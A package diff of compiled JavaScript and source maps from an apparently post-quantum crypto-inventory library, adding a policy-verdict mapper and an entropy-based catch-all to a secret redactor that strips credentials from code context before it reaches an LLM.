PolicyVerdict; reason: string } {\n const algo = algorithm ?? \"unknown\";\n if (policy.prohibited?.includes(algo)) {\n return { verdict: \"violation\", reason: `${algo} is prohibited by the policy.` };\n }\n if (policy.inTransition?.includes(algo)) {\n return {\n verdict: \"transition-pending\",\n reason: `${algo} is being migrated (in the policy's transition set).`,\n };\n }\n if (policy.permitted?.includes(algo)) {\n return { verdict: \"conformant\", reason: `${algo} is permitted by the policy.` };\n }\n const fallback = policy.defaultVerdict ?? \"violation\";\n return {\n verdict: fallback,\n reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,\n };\n}\n\n/**\n * Map every finding to a policy verdict, with per-verdict counts. Deterministic:\n * the same findings + policy always yield the same mapping (safe to hash in the\n * A.8.24 evidence attestation).\n */\nexport function buildPolicyMapping(\n findings: readonly Finding[],\n policy: CryptoPolicy,\n): PolicyMapping {\n const summary: Record<PolicyVerdict, number> = {\n conformant: 0,\n violation: 0,\n \"transition-pending\": 0,\n };\n const mapped: PolicyFindingVerdict[] = findings.map((f) => {\n const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);\n summary[verdict]++;\n return {\n ruleId: f.ruleId,\n algorithm: f.algorithm ?? \"unknown\",\n file: f.location.file,\n line: f.location.line,\n verdict,\n reason,\n };\n });\n return {\n policyName: policy.name ?? null,\n transitionDeadline: policy.transitionDeadline ?? null,\n summary,\n findings: mapped,\n };\n}\n\n/**\n * Validate + normalize a parsed policy object (from an operator's JSON file).\n * Throws a `TypeError` with a clear message on anything malformed — a bad policy\n * file must fail loudly, never silently degrade the evidence verdict.\n */\nexport function parseCryptoPolicy(raw: unknown): CryptoPolicy {\n if (!raw || typeof raw !== \"object\" || Array.isArray(raw)) {\n throw new TypeError(\"crypto policy must be a JSON object\");\n }\n const obj = raw as Record<string, unknown>;\n const validFamilies = new Set<string>(ALGORITHM_FAMILIES);\n const list = (key: string): AlgorithmFamily[] | undefined => {\n const v = obj[key];\n if (v === undefined) return undefined;\n if (!Array.isArray(v))\n throw new TypeError(`policy \"${key}\" must be an array of algorithm families`);\n for (const item of v) {\n if (typeof item !== \"string\" || !validFamilies.has(item)) {\n throw new TypeError(\n `policy \"${key}\" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(\", \")}`,\n );\n }\n }\n return v as AlgorithmFamily[];\n };\n const verdicts = new Set<PolicyVerdict>([\"conformant\", \"violation\", \"transition-pending\"]);\n let defaultVerdict: PolicyVerdict | undefined;\n if (obj.defaultVerdict !== undefined) {\n if (\n typeof obj.defaultVerdict !== \"string\" ||\n !verdicts.has(obj.defaultVerdict as PolicyVerdict)\n ) {\n throw new TypeError(`policy \"defaultVerdict\" must be one of ${[...verdicts].join(\", \")}`);\n }\n defaultVerdict = obj.defaultVerdict as PolicyVerdict;\n }\n if (obj.name !== undefined && typeof obj.name !== \"string\") {\n throw new TypeError('policy \"name\" must be a string');\n }\n if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== \"string\") {\n throw new TypeError('policy \"transitionDeadline\" must be a string');\n }\n return {\n ...(obj.name !== undefined ? { name: obj.name as string } : {}),\n ...(list(\"permitted\") ? { permitted: list(\"permitted\") } : {}),\n ...(list(\"prohibited\") ? { prohibited: list(\"prohibited\") } : {}),\n ...(list(\"inTransition\") ? { inTransition: list(\"inTransition\") } : {}),\n ...(obj.transitionDeadline !== undefined\n ? { transitionDeadline: obj.transitionDeadline as string }\n : {}),\n ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),\n };\n}\n"]}
@@ -1 +1 @@
1
- {"version":3,"file":"redact.d.ts","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;AAgHtE;;;;GAIG;AACH,wBAAgB,YAAY,CAC1B,OAAO,EAAE,OAAO,EAChB,KAAK,EAAE,YAAY,EACnB,WAAW,EAAE,MAAM,GAClB,eAAe,CA0BjB;AAED,wEAAwE;AACxE,wBAAgB,eAAe,CAAC,QAAQ,EAAE,eAAe,EAAE,GAAG,MAAM,CAQnE"}
1
+ {"version":3,"file":"redact.d.ts","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;AAyJtE;;;;GAIG;AACH,wBAAgB,YAAY,CAC1B,OAAO,EAAE,OAAO,EAChB,KAAK,EAAE,YAAY,EACnB,WAAW,EAAE,MAAM,GAClB,eAAe,CA0BjB;AAED,wEAAwE;AACxE,wBAAgB,eAAe,CAAC,QAAQ,EAAE,eAAe,EAAE,GAAG,MAAM,CAQnE"}
package/dist/redact.js CHANGED
@@ -31,6 +31,41 @@ const TOKEN_PATTERNS = [
31
31
  /\b[0-9a-fA-F]{40,4096}\b/g, // long hex run (≥20 bytes)
32
32
  /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)
33
33
  ];
34
+ /** Shannon entropy of a string, in bits per character. */
35
+ function shannonEntropy(s) {
36
+ const freq = new Map();
37
+ for (const ch of s)
38
+ freq.set(ch, (freq.get(ch) ?? 0) + 1);
39
+ let e = 0;
40
+ for (const n of freq.values()) {
41
+ const p = n / s.length;
42
+ e -= p * Math.log2(p);
43
+ }
44
+ return e;
45
+ }
46
+ /**
47
+ * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}
48
+ * above miss (custom / novel key formats not tied to a known vendor prefix).
49
+ * Best-effort and biased toward over-redaction (safe): only a *long*,
50
+ * *high-entropy*, *charset-diverse* run is replaced, so ordinary code
51
+ * identifiers, words, and prose are left intact for the LLM to work with.
52
+ */
53
+ const HIGH_ENTROPY_RUN = /[A-Za-z0-9_\-+/=.]{24,256}/g;
54
+ function redactHighEntropy(text) {
55
+ let redacted = false;
56
+ const out = text.replace(HIGH_ENTROPY_RUN, (m) => {
57
+ const classes = (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);
58
+ const hasSpecial = /[+/=_-]/.test(m);
59
+ // Random secrets are charset-diverse AND high-entropy; identifiers usually
60
+ // fail one of these (an identifier has repetition / structure → lower entropy).
61
+ if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {
62
+ redacted = true;
63
+ return REDACTED;
64
+ }
65
+ return m;
66
+ });
67
+ return { text: out, redacted };
68
+ }
34
69
  /** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of
35
70
  * a missing END marker — a truncated key is still fully redacted). */
36
71
  function redactPrivateKeyBlocks(text) {
@@ -79,6 +114,10 @@ function stripSecrets(text) {
79
114
  return REDACTED;
80
115
  });
81
116
  }
117
+ // Best-effort entropy catch-all for novel token shapes the named patterns miss.
118
+ const ent = redactHighEntropy(out);
119
+ out = ent.text;
120
+ redacted = redacted || ent.redacted;
82
121
  result = { text: out, redacted };
83
122
  }
84
123
  catch {
@@ -1 +1 @@
1
- {"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Context redactor: turn a finding + its file into the payload the LLM sees,\n * bounded to a chosen {@link ContextLevel} and with secrets ALWAYS stripped.\n *\n * This is a hard privacy boundary and lives in `@quantakrypto/core` (offline) so\n * the deterministic MCP plane redacts identically to the networked CLI. A\n * `sensitive` finding (the match IS key material) never emits code at any level.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\n\n/** Lines of context on each side of the match at `snippet` level. */\nconst SNIPPET_RADIUS = 8;\n\n/** The placeholder that replaces any redacted secret. */\nconst REDACTED = \"«redacted-secret»\";\n\n/**\n * Text longer than this is not scanned pattern-by-pattern — we fail CLOSED\n * (redact the whole thing). Bounds worst-case work and sidesteps any engine\n * limit on pathological single-token runs.\n */\nconst MAX_SECRET_SCAN = 2_000_000;\n\n/**\n * High-signal secret shapes. EVERY quantifier has an explicit upper bound so\n * matching stays linear — no catastrophic backtracking and no regex-engine\n * stack overflow on multi-megabyte runs (both were real DoS vectors with the\n * old unbounded `{120,}` / `[\\s\\S]*?` patterns). Private-key BLOCKS are handled\n * separately, line-by-line, so a truncated key (missing `-----END-----`) is\n * still caught.\n */\nconst TOKEN_PATTERNS: readonly RegExp[] = [\n /\\b(?:AKIA|ASIA)[A-Z0-9]{16}\\b/g, // AWS access key id\n /\\bgh[posru]_[A-Za-z0-9]{20,255}\\b/g, // GitHub token\n /\\bgithub_pat_[A-Za-z0-9_]{20,255}\\b/g, // GitHub fine-grained PAT\n /\\bxox[baprs]-[A-Za-z0-9-]{10,255}\\b/g, // Slack\n 